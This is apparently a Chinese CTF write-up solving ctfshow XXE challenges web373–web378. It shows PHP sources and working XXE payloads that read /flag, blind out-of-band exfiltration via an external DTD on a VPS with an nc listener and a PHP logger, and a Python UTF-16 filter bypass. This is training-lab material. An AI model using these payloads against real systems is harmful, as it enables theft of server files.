ctfshow-XXE(web373-web378)

目录

XXE(外部实体注入攻击)

web373

web374

web375

web376

web377

web378

知识点


XXE(外部实体注入攻击)

XXE这几关有个前提flag在根目录下文件名为flag

web373

php 复制代码
<?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
    $dom = new DOMDocument();//该对象用于操作xml数据
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);//加载 XML 文件并进行解析
    $creds = simplexml_import_dom($dom);//换了一种方式
    $ctfshow = $creds->ctfshow;//将xmlctfshow标签里面的内容赋值个ctfshow这个变量
    echo $ctfshow;//输出这个值
}
highlight_file(__FILE__);    

这一看源码和我刚学习XXE看的那篇源码一样

通过伪协议input获取post中的数据流 然后

libxml_disable_entity_loader(false);启用 libxml 实体加载器功能,允许 XML 解析器加载外部实体

LIBXML_NOENT 表示禁止实体扩展 xml自带实体比如&lt; &gt;不能使用 以及内部实体(大概率是)

LIBXML_DTDLOAD 表示允许加载外部 DTD

多了不说 既然有回显 那就简单了

payload

XML 复制代码
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE TZY [
<!ENTITY tzy SYSTEM "file:///flag">
]>
<hello>
<ctfshow>&tzy;</ctfshow>
</hello>

web374

php 复制代码
<?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);    

这就没有回显了(blind xxe) 可以使用外带数据通道提取数据

没有回显记住口诀 xml获取dtd dtd中放base64读取文件和带数据

既然没有回显那就把数据带出来吧

payload

XML 复制代码
<!DOCTYPE convert [ 
<!ENTITY % remote SYSTEM "http://49.234.38.224/test.dtd">
%remote;%int;%send;
]>

vps test.dtd

XML 复制代码
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://49.234.38.224:9999?q=%file;'>">

vps上nc -lvv 进行监听

第一种方式

vps test.dtd

XML 复制代码
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://49.234.38.224/index.php?q=%file;'>">

常见index.php文件 用于接受q参数

php 复制代码
<?php 
    $tzy = $_GET['q'];
    $myFile = "tzy.txt";
    file_put_contents($myFile, $tzy, FILE_APPEND);
?>

这道题才是正规的一点没有报错 做的很爽

使用web-4观心wp的不正规方式 试一下 根本就不行 因为数据包根本就没有返回报错信息 那个wp的方式恰巧报错信息等信息能返回 恰巧能输出flag 设置error_reporting(0);就不会返回报错信息了

web375

php 复制代码
<?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"/', $xmlfile)){
    die('error');
}
if(isset($xmlfile)){
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);    

过滤了xml的证明 (我记得学习基础的时候说必须要写 但是做题的时候发现不需要写,就算必须写有两种方式绕过 双引号变成单引号,在xml和version多加一个空格 都是可以的)

和上面题同理

使用一个不同的方式吧(原理都是一个意思) 为什么要绕一圈呢,就是因为在请求的时候 默认不允许将本地文件发送到dtd文件 间接的影响了我们的请求 所以要套一层

也就是说将dtd引过来之后首先解析第一层实体定义 内容为另一个实体定义 继续解析另一个实体定义 从而达到了发送请求 如果不这样套一层 直接放入xml 系统默认是不允许得,这也能解释为什么要用参数实体 因为调用dtd是在内部dtd中调用的 内部dtd只能使用参数实体的方式

我是将读本地文件和请求vps都放到dtd中 xml只放引用dtd的

很多都是请求vps的放入dtd中 xml中放读本地文件和引用dtd的

payload

XML 复制代码
<!DOCTYPE hacker[
    <!ENTITY  % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
    <!ENTITY  % myurl SYSTEM "http://49.234.38.224/test.dtd">
    %myurl;
]> 

vps dtd文件

XML 复制代码
<!ENTITY % dtd "<!ENTITY &#x25; vps SYSTEM 'http://49.234.38.224:9999/%file;'> ">
%dtd;
%vps;

成功 之前是监听的请求中的参数 这次是监听请求的路径 一个意思都能监听到

web376

php 复制代码
<?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"/i', $xmlfile)){
    die('error');
}
if(isset($xmlfile)){
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);    

比上一题多一个/i大小写 没区别 同理

web377

php 复制代码
<?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"|http/i', $xmlfile)){
    die('error');
}
if(isset($xmlfile)){
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);    

过滤了http 看别人的wp说是使用utf-16编码就能绕过 我就手动将payload(和上一题一样的)进行utf-16就是不行 必须使用python发包 发包前进行utf-16编码 而且就算用python进行utf-16编码 手动发送也不行 必须也要让python发包 才可以(我估计是啥 如果进行特定编码方式 然后发包 估计还有增加请求头 类似这种 python发包可以自动补全)

能编码简单理解就是(我的理解)input获取到数据后 先绕过正则 然后在操作xml的时候这个对象就能识别出是xml 因为xml支持utf-16 这时哪怕在xml声明编码方式为utf-8这也无所谓 这声明的只是xml内容为utf-8 但是整体过来是utf-16 这个对象是能识别出来的 然后看到这个声明为utf-8后再将内容设为utf-8的编码方式

其余同理

python代码为

python 复制代码
import requests
url = 'http://fdccab41-0e0d-48fa-89af-21ce8bffa466.challenge.ctf.show/'
payload = '''<?xml version='1.0' encoding="UTF-8"?>
<!DOCTYPE hacker[
    <!ENTITY  % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
    <!ENTITY  % myurl SYSTEM "http://49.234.38.224/test.dtd">
    %myurl;
]> 
'''
payload = payload.encode('utf-16')
rep = requests.post(url=url, data=payload)

web378

通过这个数据就知道这是xml数据 服务器后端肯定会使用xml解析这个数据

源码中也能看出来

python 复制代码
function doLogin(){
//不为空就行
	var username = $("#username").val();
	var password = $("#password").val();
	if(username == "" || password == ""){
		alert("Please enter the username and password!");
		return;
	}
	//定义一下数据
	var data = "<user><username>" + username + "</username><password>" + password + "</password></user>"; 
使用异步发送请求
    $.ajax({
        type: "POST",
        url: "doLogin",
        contentType: "application/xml;charset=utf-8",//告诉服务器我的数据类型
        data: data,
        dataType: "xml",//接收的数据类型为
        anysc: false,
        success: function (result) {
             从返回的 XML 数据中获取名为 "code" 的元素的值。
        	var code = result.getElementsByTagName("code")[0].childNodes[0].nodeValue;
        	var msg = result.getElementsByTagName("msg")[0].childNodes[0].nodeValue;
        	if(code == "0"){
        		$(".msg").text(msg + " login fail!");
            //如果code为1显示登录成功
        	}else if(code == "1"){
        		$(".msg").text(msg + " login success!");
        	}else{
        		$(".msg").text("error:" + msg);
        	}
        },
//在 AJAX 请求失败时执行 当发生错误时,会在页面上显示 errorThrown + ':' + textStatus,即显示异常信息和错误状态描述
        error: function (XMLHttpRequest,textStatus,errorThrown) {
            $(".msg").text(errorThrown + ':' + textStatus);
        }
    }); 
}

contentType: "application/xml;charset=utf-8",//告诉服务器我的数据类型

X-Requested-With: XMLHttpRequest 这是告诉服务器我是ajax进行异步通信 数据可能是xml也可能是json(这俩大概率) 都有可能

发送的是xml数据 回来的也是xml数据(其实回来的不用管)服务器肯定是解析xml

传入paylaod

我想使用这种方法 但是不好使 估计是在服务器设置了不允许进行使用外部DTD

XML 复制代码
<!DOCTYPE convert [ 
<!ENTITY % remote SYSTEM "http://49.234.38.224/test.dtd">
%remote;%int;%send;
]>
XML 复制代码
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://49.234.38.224:9999?q=%file;'>">

好好观察一下源码发现$(".msg").text(msg + " login fail!");

随便登录一下 账户名admin 密码123456 显示 admin login fail 这个msg就是用户名

这个msg是从服务器返回的xml数据中提取的 那么服务器的msg肯定是从我们上传的xml中提取的

那么直接就能将&xxe输出也就是flag的内容 我看大佬说这是特别标准的xxe估计这种很常见

XML 复制代码
<!DOCTYPE test [
<!ENTITY xxe SYSTEM "file:///flag">
]>

<user><username>&xxe;</username></user>

知识点

为什么是外部实体注入 为什么要引入外部呢 也是我之前迷茫的地方

举个例子 比如

XML 复制代码
xml文件
<!DOCTYPE hacker[
    <!ENTITY  % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
    <!ENTITY  % myurl SYSTEM "http://49.234.38.224/test.dtd">
    %myurl;
]> 
dtd文件
<!ENTITY % dtd "<!ENTITY &#x25; vps SYSTEM 'http://49.234.38.224:9999/%file;'> ">
%dtd;
%vps;

直接写成 不也行嘛

XML 复制代码
xml文件
<!DOCTYPE hacker[
    <!ENTITY  % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
    <!ENTITY  % vps SYSTEM 'http://49.234.38.224:9999/%file;'> ">
    %vps;
]> 

这里注意参数实体引用%file;必须放在外部文件里,因为根据这条 规则 。在内部DTD里,参数实体引用只能和元素同级而不能直接出现在元素声明内部 (必须是双层嵌套哦)

如果放在外部%myurl引用dtd文件 %dtd引用另一个实体引用 %vps再引用我们的请求 这样是可以的 虽然最终也是在内部dtd中 但是两者就是不一样

还有一点就是在声明的内部中%要进行实体编码 因为%这种不符合xml的符号必须要进行实体编码

也就是说%dtd 不允许有和xml冲突的字符在值里面

相关推荐
passerby606137 分钟前
完成前端时间处理的另一块版图
前端·github·web components
掘了1 小时前
「2025 年终总结」在所有失去的人中,我最怀念我自己
前端·后端·年终总结
崔庆才丨静觅1 小时前
实用免费的 Short URL 短链接 API 对接说明
前端
崔庆才丨静觅1 小时前
5分钟快速搭建 AI 平台并用它赚钱!
前端
崔庆才丨静觅2 小时前
比官方便宜一半以上!Midjourney API 申请及使用
前端
Moment2 小时前
富文本编辑器在 AI 时代为什么这么受欢迎
前端·javascript·后端
崔庆才丨静觅2 小时前
刷屏全网的“nano-banana”API接入指南!0.1元/张量产高清创意图,开发者必藏
前端
剪刀石头布啊2 小时前
jwt介绍
前端
爱敲代码的小鱼2 小时前
AJAX(异步交互的技术来实现从服务端中获取数据):
前端·javascript·ajax
Cobyte2 小时前
AI全栈实战:使用 Python+LangChain+Vue3 构建一个 LLM 聊天应用
前端·后端·aigc